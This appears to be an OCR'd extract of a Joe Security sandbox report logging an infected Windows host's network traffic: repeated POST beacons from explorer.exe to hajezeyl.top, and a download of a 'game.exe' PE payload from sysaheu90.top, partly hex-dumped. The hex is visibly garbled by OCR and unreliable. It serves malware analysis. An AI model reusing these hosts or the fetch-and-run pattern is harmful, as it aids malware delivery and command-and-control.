7e 26 a0 81 ba 07 47 7d bb fb ce 3b 33 f0 82 6¢ 27 b4 e3 e4 ce 70 68 98 3b 6a fe da 3d b3 f5 3f 78 81 42 7b f9 e8 f0 85 a5
46 e5

Data Ascii: 1f66S(SWViP"&&grq|6?elJ5~/ar" g1Q5ih.Kw:i/+".]pWIRY8|M+%t+xQ<e2P0YObyT=a'4! YU\dIXKg[Ge92)g z6\E'
JWpHK"HI?0|6NI[LeU[0z;+W~5=PVpGZIqV@q!UvyOZ:-A%GkKm@NQ>[J8},s"JG0Z"?kQTIMQCd%\!&Q#F<pvA>C/
CbGBj4VFv2Bo]6HPg5P[Fj6'NGc_,/DO9W%bIR}TZI9N\me=>"th"1%@GN!K.iwA0!Wnawjg";kzRN{}, zHB(yw+;5l0?hs#9Acw
9kwN7& XwIH%f4-ow 7Hg 7;=g&9c0{%#=9FX?SCnv4ddOUTiz=p.jh"?Gaf<=g?$W-{ir[6dQ;}5C%I(A5:/b""v(5Y5job SxF/
Mv#JzB~&G};3I'ph;j=?xB{F

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred
Oct 29, 2021 5739
20:29:56.596683025 CEST
Oct 29, 2021 5740
20:29:56.670701981 CEST
Session ID Source IP
3 192.168.2.7
kBytes
Timestamp transferred
Session ID Source IP
30 192.168.2.7
kBytes
Timestamp transferred
Oct 29, 2021 5740

20:29:56.768024921 CEST

Oct 29, 2021 5741
20:29:56.846256018 CEST

Session ID Source IP

31 192.168.2.7

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49794

Direction

Source Port

49787

Direction
ouT

Source Port

49788

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://dkvmgnfi.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 147

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:56 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\AppData\Local\Temp\B82B.exe

Data

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://wbdgtrry.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 115

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:56 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 6368 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Oct 29, 2021 5742
20:29:56.939694881 CEST

Oct 29, 2021 5743
20:29:57.014889956 CEST

Session ID Source IP
32 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 5744

20:29:57.101701021 CEST

Oct 29, 2021 5745
20:29:57.179805994 CEST

Session ID Source IP
33 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 5746

20:29:57.268543959 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49789

Direction

ouT

Source Port
49790

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://mkagxiicba.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 355

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:56 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://taupwpt.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 152

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI>0

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://blslkdmyqd.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 362

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 5747
20:29:57.346498966 CEST

Session ID Source IP
34 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 6107

20:29:59.928647041 CEST

Oct 29, 2021 6108
20:30:00.007153034 CEST

Session ID Source IP

35 192.168.2.7

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49791

Direction
ouT

Source Port

49792

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5¢ 2f 8f 69 c1 50 22 ec 26 d8 al e7 26 67 Ob 72 90 86 ec d2 ca
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9¢c 52 60 1b d6 88 67 al c2
8a 3151 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 3 77 b3 6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88
e05d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 el 94 52 ea 59 9b 7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0Ob 4a
05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 al 1le c7 1f ab 29 29 8¢ 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91
5b 07 €9 1f 9d 15 46 a6 b3 58 f1 06 ee Oc 42 de 8b f4 24 eb a8 el 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2
08 5b 47 86 65 29 15 32 39 c5 {7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 Of 4e 86 19 7d 6f 37
€304 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3
Ob 5e 4c 64 55 5b ad 30 7a 83 eb 5f ¢8 c3 €7 b2 ec 24 1a 0a 1c 55 ee 87 fe Oc 35 9a 3d 50 6f dO 56 81 96 8b 97 9e 60 9f
8a 86 €8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8¢ f5 Oa ef 8b 71 91 €0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1
3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 {7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14
2c d6 e8 bl 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f Ob 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 €9 4d 51 c2 41 64
cd 27 5¢ 8d b7 a3 23 0c 26 17 51 d2 eb €9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42
25 el b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36
cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb dO ea
85 62 4a 08 7d 54 7a 98 6¢ 39 c0 le f3 5¢c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e
b7 82 7f 8e 40 b6 f1 b8 4e al 21 3b 88 4b 6e 47 3 12 c¢3 b2 a5 83 41 ab 13 af b8 €8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09
0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc Oe 7b d6 7d 00 2c Of 7a d7 9b 48 Ob ad 8b bc 08 85 7 8f 82 42 b7 28 85 d8
da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 €9 a8 b2 13 3b 35 02 1a 1b eb c2 5 6¢ 8d e3 17 d3 83 6f ce ed 3f ec cf
8168 73 02 99 ea a6 f5 ¢3 05 dO b3 d3 23 39 41 c4 a5 ¢8 63 77 ca Ob 8f bd d9 39 6b al 99 98 77 e8 0f 4e 8¢ da 06 bd 37
87 8c b4 26 b8 2c 58 b2 77 6¢ 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad al 97 3b 86 f3 bd 98
bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 el ad c3 e5 0f 25 93 23 ¢4 1d d7 cf 8e 34 39 dc
46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 Oc 97 e4 22 76 f9 14 f9 Ob 64 82 93 64 4f 55 b4 ca 5e ¢3 d5 c0 88 Ob 3d d9 1d 6
9 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 f5 66 3c 3d d8 bf cb 67 5¢
d8 97 24 c8 b9 fc f0 d4 e8 57 2d a6 al 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 f5 51 cf 3b c5 da 87 f1 7d 87 70 {3
354350 11 00 ac 27 1d 02 al 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 81 f5 97 d4 78 2b 2c 62 98 ed 24 c6 ff c5
d4 d9 49 0a 8a 10 c4 44 b9 97 c4 fa be a8 48 96 9e 9b 55 1a f6 de €8 d0 9b 92 17 7d 69 05 79 4a 09 9f 3c bf 00 62 4b 65
fb 80 ab 5b 87 80 39 cd bb 78 96 64 a4 a4 a2 41 45 e8 03 ff Oe 4d €2 d0 97 23 3b 5e 04 €8 5a 9a 14 7a 59 92 17 7e d6 70
82 ba 4b 96 7e bb ee 1f 38 33 d5 53 6f 27 88 32 e7 ce 85 b9 9b 3b 22 2f d9 3d ff 24 3c 78 92 93 78 f9 7e 21 86 a5 ec 34
Data Ascii: 1{66S(SWViP"&&grqg|6?elJ5~/arR g1Q5ih.Kw:i/+".JpW!RYyM]O_[3_JTO))gxr?|*c[FXB$H)t|;fKMXKw[Ge)29E"|a
y6N}o7=Up,Kk"HI?m|6NI"LdU[0z_$U5=PoV GZdQJIVTq5dlvy'$X9:-C'GrPmR #>[qJ8-,50K0Z"?+Qz KIMQAd'
\#&Q#2YBA@=C/fGB%4VF>"7"~K6*!?2eti6'NGC:HNDZOJW%bJ}TzI9\@d=V:"1bP1&@N,KNGACWI _ng";kz{},zH
B(yw+;5l0?hs#9AcwIKwWNT7 & XwlH%f4-ow 7Hg7;9&9c0{2%#49FwWX?,SC"vddOU"=i=p.0j"?Gqf<=g\$W-{i[6dsQ;}p5CP'(A
59x+,b$IDHU}yJ<bKe[9XdAEM#,"ZzY~pK~83S0'2;"/=$<xx~14

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://chucxho.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 365

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 6368 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Oct 29, 2021 6109
20:30:00.368861914 CEST

Oct 29, 2021 6109
20:30:00.448647976 CEST

Session ID Source IP
36 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 6110

20:30:00.549640894 CEST

Oct 29, 2021 6111
20:30:00.702553034 CEST

Session ID Source IP
37 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8127

20:30:05.129215956 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49793

Direction

ouT

Source Port
49796

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://futucrxk.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 136

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:00 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 39 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53
d9 63 ba 53 11 91 1d f4 0d Oa 30 0d Oa Od Oa

Data Ascii: 291:820UcScS0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

GET /game.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: sysaheu90.top

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:30:00 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Fri, 29 Oct 2021 18:29:02 GMT

ETag: "92800-5cf820058192d"

Accept-Ranges: bytes

Content-Length: 600064

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €0 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 ¢7 43 74 77 c7 43 74 77 c7 2¢ 02 dc c7 6e 74 77 c7 2c 02
€9¢c7617477c72c02ddc73c7477c74a0cedc7 447477 c7437476c7 3c7477c72c02d8c7427477c72c02
ed c742 7477 c7 2c 02 eac?7 427477 c7 52 69 63 68 43 74 77 ¢7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 00 2
9 52 5f 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01 Oa 00 00 a6 07 00 00 c4 70 02 00 00 00 00 50 ac 05 00 00 10 00 00 00
c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00
1b 9f 09 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
00 a4 aa 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 30 1b
00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 al 05 00 40
00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 2e 74 65 78 74 00 00 00 e0 a5 07 00 00 10 00 00 00 a6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00
00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 cO 07 00 00 16 00 00 00 aa 07 00 00 00 00 00 00 00 00 00 00 00
00 00 40 00 00 cO 2e 76 69 74 6f 00 00 00 €5 02 00 00 00 30 77 02 00 04 00 00 00 cO 07 00 00 00 00 00 00 00 00 00 00
00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 c4 07 00 00 00 00 00 00 00 00 00
00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 1c 22 01 00 00 80 77 02 00 24 01 00 00 04 08 00 00 00 00 00 00 00 00 0
000 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
